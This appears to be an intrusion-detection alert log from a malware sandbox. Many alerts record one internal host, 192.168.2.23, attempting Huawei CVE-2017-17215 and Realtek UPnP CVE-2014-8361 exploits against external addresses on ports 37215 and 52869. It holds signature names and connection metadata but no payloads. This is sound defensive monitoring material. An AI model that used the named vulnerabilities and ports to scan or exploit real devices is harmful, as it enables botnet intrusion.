Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.206.47.33

Timestamp:	07/20/24-23:01:24.862410
SID:	2835222
Source Port:	44920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.2.133.89

Timestamp:	07/20/24-23:01:04.802341
SID:	2025132
Source Port:	35090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.131.47.204

Timestamp:	07/20/24-23:01:48.888934
SID:	2831300
Source Port:	47644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.42.246.19

Timestamp:	07/20/24-23:01:45.485100
SID:	2025132
Source Port:	53756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.28.80.1

Timestamp:	07/20/24-23:00:59.154067
SID:	2835222
Source Port:	47450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.42.54

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	55702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.45.244.106

Timestamp:	07/20/24-23:01:53.697003
SID:	2027339
Source Port:	34624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.68.86

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	54404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.15.73.106

Timestamp:	07/20/24-23:01:53.503242
SID:	2027339
Source Port:	43326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.86.232.67

Timestamp:	07/20/24-23:01:31.974782
SID:	2835222
Source Port:	38850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.221.214.48

Timestamp:	07/20/24-23:01:47.443306
SID:	2025132
Source Port:	46994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.16.14.245

Timestamp:	07/20/24-23:01:55.694589
SID:	2027339
Source Port:	48562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:56.880291
SID:	2831300
Source Port:	40646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.6.144.179

Timestamp:	07/20/24-23:01:44.340422
SID:	2025132
Source Port:	39600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.189.118.114

Timestamp:	07/20/24-23:01:45.159648
SID:	2027339
Source Port:	47212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.128.21.230

Timestamp:	07/20/24-23:01:45.182071
SID:	2831300
Source Port:	41506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.57.93.253

Timestamp:	07/20/24-23:01:08.559170
SID:	2831300
Source Port:	51992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.148.30.140

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	46804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.253.132.236

Timestamp:	07/20/24-23:01:31.978141
SID:	2829579
Source Port:	41478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.84.107.116

Timestamp:	07/20/24-23:01:43.994464
SID:	2025132
Source Port:	43924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.38.7.5

Timestamp:	07/20/24-23:01:26.037548
SID:	2027339
Source Port:	52344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.180.152.242

Timestamp:	07/20/24-23:01:20.110861
SID:	2829579
Source Port:	48034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.17.239.28

Timestamp:	07/20/24-23:01:59.745622
SID:	2025132
Source Port:	55122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.62.120.208

Timestamp:	07/20/24-23:01:20.113254
SID:	2829579
Source Port:	55470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.132.55.249

Timestamp:	07/20/24-23:01:47.243820
SID:	2027339
Source Port:	38550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.249.111.18

Timestamp:	07/20/24-23:01:41.722161
SID:	2027339
Source Port:	51824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.114.239.111

Timestamp:	07/20/24-23:01:03.942398
SID:	2025132
Source Port:	34136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.126.153.78

Timestamp:	07/20/24-23:01:48.765940
SID:	2831300
Source Port:	42118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.96.78.14

Timestamp:	07/20/24-23:02:08.084136
SID:	2025132
Source Port:	46518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.27.28

Timestamp:	07/20/24-23:01:11.630627
SID:	2829579
Source Port:	50484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.108.65.14

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	56566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.103.85.217

Timestamp:	07/20/24-23:01:42.749469
SID:	2831300
Source Port:	45456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.121.26

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	34212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.108.103.192

Timestamp:	07/20/24-23:01:02.486908
SID:	2025132
Source Port:	37328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:48.932731
SID:	2831300
Source Port:	54026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.25.231.52

Timestamp:	07/20/24-23:01:57.949070
SID:	2831300
Source Port:	57400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.69.5.63

Timestamp:	07/20/24-23:01:55.384732
SID:	2027339
Source Port:	51482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.75.123.93

Timestamp:	07/20/24-23:01:00.634165
SID:	2829579
Source Port:	58556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.111.2.186

Timestamp:	07/20/24-23:01:45.063335
SID:	2027339
Source Port:	40962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.170.78.160

Timestamp:	07/20/24-23:01:42.142802
SID:	2027339
Source Port:	46616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.211.16.76

Timestamp:	07/20/24-23:01:49.563475
SID:	2831300
Source Port:	52248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.188.109.169

Timestamp:	07/20/24-23:01:42.522141
SID:	2027339
Source Port:	57308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 178.124.248.177

Timestamp:	07/20/24-23:01:20.596401
SID:	2831300
Source Port:	45956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.203.232.104

Timestamp:	07/20/24-23:01:46.025818
SID:	2831300
Source Port:	44458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.244.156.106

Timestamp:	07/20/24-23:01:58.067320
SID:	2027339
Source Port:	52012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.70.14.160

Timestamp:	07/20/24-23:01:13.826513
SID:	2027339
Source Port:	51264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.216.133.169

Timestamp:	07/20/24-23:00:59.213564
SID:	2835222
Source Port:	44552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.77.89.150

Timestamp:	07/20/24-23:01:54.345402
SID:	2027339
Source Port:	39066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.179.247

Timestamp:	07/20/24-23:01:20.132511
SID:	2835222
Source Port:	51462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.178.20.121

Timestamp:	07/20/24-23:01:46.054775
SID:	2027339
Source Port:	50738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.55.136.220

Timestamp:	07/20/24-23:02:15.054105
SID:	2831300
Source Port:	56492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.233.41.28

Timestamp:	07/20/24-23:01:08.611773
SID:	2831300
Source Port:	54474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.5.114.8

Timestamp:	07/20/24-23:01:01.404325
SID:	2025132
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.144.253.27

Timestamp:	07/20/24-23:01:44.416791
SID:	2027339
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.160.194.136

Timestamp:	07/20/24-23:01:08.623583
SID:	2831300
Source Port:	35502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.246.229.175

Timestamp:	07/20/24-23:01:44.636234
SID:	2025132
Source Port:	50636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.12.76.39

Timestamp:	07/20/24-23:01:51.021834
SID:	2027339
Source Port:	52308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.112.19.15

Timestamp:	07/20/24-23:01:45.926465
SID:	2831300
Source Port:	33854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.47.68.177

Timestamp:	07/20/24-23:01:46.312083
SID:	2831300
Source Port:	57364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.160.102.240

Timestamp:	07/20/24-23:02:06.738802
SID:	2027339
Source Port:	59328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.24.157.5

Timestamp:	07/20/24-23:01:50.001370
SID:	2027339
Source Port:	36896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.216.246

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	57382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.0.122.40

Timestamp:	07/20/24-23:01:31.313383
SID:	2027339
Source Port:	53670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.109.251.204

Timestamp:	07/20/24-23:01:47.962852
SID:	2027339
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.209.219.113

Timestamp:	07/20/24-23:01:42.966322
SID:	2025132
Source Port:	55386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.4.8.9

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	49214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.167.170.254

Timestamp:	07/20/24-23:01:08.572790
SID:	2027339
Source Port:	39552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:47.644828
SID:	2831300
Source Port:	45610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.253.23.104

Timestamp:	07/20/24-23:01:57.787786
SID:	2027339
Source Port:	43082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.236.42.147

Timestamp:	07/20/24-23:01:02.426129
SID:	2025132
Source Port:	48472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.59.235.147

Timestamp:	07/20/24-23:01:14.105908
SID:	2835222
Source Port:	50158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 166.230.251.127

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	34426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.18.125.219

Timestamp:	07/20/24-23:01:51.086033
SID:	2025132
Source Port:	59050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.47.147.236

Timestamp:	07/20/24-23:01:08.581974
SID:	2831300
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.153.61.251

Timestamp:	07/20/24-23:01:45.202570
SID:	2027339
Source Port:	58744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.19.81.156

Timestamp:	07/20/24-23:01:44.894921
SID:	2027339
Source Port:	55432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.119.209.224

Timestamp:	07/20/24-23:01:47.201912
SID:	2831300
Source Port:	57420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.170.123.220

Timestamp:	07/20/24-23:01:46.046177
SID:	2831300
Source Port:	52732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.122.229.51

Timestamp:	07/20/24-23:01:43.084243
SID:	2831300
Source Port:	34282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 82.113.201.213

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	54748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.234.94

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	33966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.194.44.24

Timestamp:	07/20/24-23:01:41.381812
SID:	2027339
Source Port:	41288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.74.227.91

Timestamp:	07/20/24-23:01:03.194002
SID:	2027339
Source Port:	52936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.129.239.131

Timestamp:	07/20/24-23:01:13.146648
SID:	2027339
Source Port:	41232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.19.232

Timestamp:	07/20/24-23:01:06.957274
SID:	2835222
Source Port:	40786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.195.231.185

Timestamp:	07/20/24-23:01:24.934684
SID:	2835222
Source Port:	56506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.196.130.183

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	45192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.116.58

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	37624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.44.73

Timestamp:	07/20/24-23:01:11.816101
SID:	2829579
Source Port:	39610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.243.36.237

Timestamp:	07/20/24-23:01:41.549051
SID:	2025132
Source Port:	42536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.206.118.182

Timestamp:	07/20/24-23:01:51.791706
SID:	2831300
Source Port:	49938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.84.136.136

Timestamp:	07/20/24-23:01:53.326732
SID:	2025132
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.238.18.41

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.131.49.54

Timestamp:	07/20/24-23:01:04.064240
SID:	2835222
Source Port:	44422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	07/20/24-23:01:09.055028
SID:	2831300
Source Port:	54640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.146.94.28

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.78.34.12

Timestamp:	07/20/24-23:01:42.522141
SID:	2027339
Source Port:	38482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.181.132

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.185.15.217

Timestamp:	07/20/24-23:01:50.339110
SID:	2027339
Source Port:	35216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

